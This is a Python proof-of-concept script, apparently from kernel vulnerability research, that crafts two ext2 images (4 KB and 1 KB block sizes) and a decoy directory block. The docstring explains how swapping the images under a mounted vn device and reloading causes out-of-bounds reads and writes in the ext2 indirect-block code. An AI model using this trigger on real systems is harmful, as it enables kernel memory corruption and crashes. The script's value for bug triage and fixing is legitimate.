#!/usr/bin/env python3
"""Craft the DF-3216 trigger pair (block-size divergence, SAME group count):

  imgA: valid 64MB ext2, block size 4096  -> 16384 blocks, bpg 32768 -> gcount 1
  imgB: valid  8MB ext2, block size 1024  ->  8192 blocks, bpg  8192 -> gcount 1
        contains one regular file /f (300KB, per-block markers) made with
        mke2fs -d (populated filesystem)

Mount imgA read-only on a vn device, rewrite the backing file with imgB,
then mount(2) MNT_UPDATE|MNT_RELOAD:

  ext2_reload() -> ext2_compute_sb_data() adopts the NEW geometry
  (fs->e2fs_bsize 1024, e2fs_bshift 10, e2fs_fsize 1024, ...) but
  ump->um_nindir / um_bptrtodb / um_seqinc (set once in ext2_mountfs at
  ext2_vfsops.c:991-993 from the OLD 4096 geometry) are never re-derived
  and mp->mnt_stat.f_iosize is only refreshed by statfs(2).

  gcount stays 1 == old gcount, so DF-3047's cluster-array OOB is NOT
  triggered; what fires instead is the indirect-block walk:

    MNINDIR(ump) = 1024 (stale, 4096/4)
    real on-disk indirect blocks are 1024 bytes = 256 pointers

  ext2_getlbns() (ext2_bmap.c:354) computes in_off = (bn/blockcnt) %
  MNINDIR(ump)  ->  in_off in [256..1023] for lbn >= 268
  ext2_bmaparray() (ext2_bmap.c:255) reads  bap[in_off]  past the buffer
  ext2_balloc()  (ext2_balloc.c:198) reads and (:233/:267) WRITES
                 bap[in_off] = htole32(newb)  past the 1KB buffer

Usage: craft.py <dir>
"""
import subprocess, sys, os

SZ_A_BLOCKS = 16384        # 64 MB of 4096-byte blocks
SZ_B_BLOCKS = 8192         #  8 MB of 1024-byte blocks
F_BLOCKS    = 300          # /f: 300 KB -> 12 direct + 281 single-indirect

def mk(path, blocks, bsize, rootdir=None):
    cmd = ['mke2fs', '-q', '-F', '-t', 'ext2', '-b', str(bsize),
           '-I', '128', '-N', '2048', '-O', '^metadata_csum,^64bit']
    if rootdir:
        cmd += ['-d', rootdir]
    cmd += [path, str(blocks)]
    subprocess.run(cmd, check=True)

def rootdir_first_block(img):
    out = subprocess.run(['debugfs', '-R', 'blocks <2>', img],
                         capture_output=True, text=True, check=True)
    return int(out.stdout.split()[0])

def main(d):
    rootdir = os.path.join(d, 'rootdir')
    os.makedirs(rootdir, exist_ok=True)
    fpath = os.path.join(rootdir, 'f')
    with open(fpath, 'wb') as f:
        for lbn in range(F_BLOCKS):
            hdr = ('BLK%08d' % lbn).encode()
            f.write(hdr)
            f.write(b'\x5a' * (1024 - len(hdr)))
    open(os.path.join(rootdir, 'w'), 'wb').close()   # empty victim file

    a = os.path.join(d, 'imgA64.img')
    b = os.path.join(d, 'imgB8.img')
    mk(a, SZ_A_BLOCKS, 4096, rootdir)
    mk(b, SZ_B_BLOCKS, 1024, rootdir)

    # decoy: after the reload the stale um_bptrtodb (4096-geometry shift 3
    # instead of 1) makes every direct block b of the new fs be read from
    # 1KB-block 4*b.  Plant a copy of the first root-dir block there so
    # post-reload lookups of f/w survive (mangled-entry panic otherwise)
    # and the demo can reach the deeper indirect-walk OOB paths.
    with open(b, 'r+b') as fb:
        rb = rootdir_first_block(b)
        fb.seek(rb * 1024)
        blk = fb.read(1024)
        fb.seek(4 * rb * 1024)
        fb.write(blk)
        print('decoy: root dir block %d copied to %d' % (rb, 4 * rb))

    # device image: imgA content, 64 MB total
    dev = os.path.join(d, 'dev64.img')
    with open(dev, 'wb') as out, open(a, 'rb') as fa:
        out.write(fa.read())
        out.truncate(SZ_A_BLOCKS * 4096)
    print("OK:", a, b, dev)

if __name__ == '__main__':
    main(sys.argv[1])
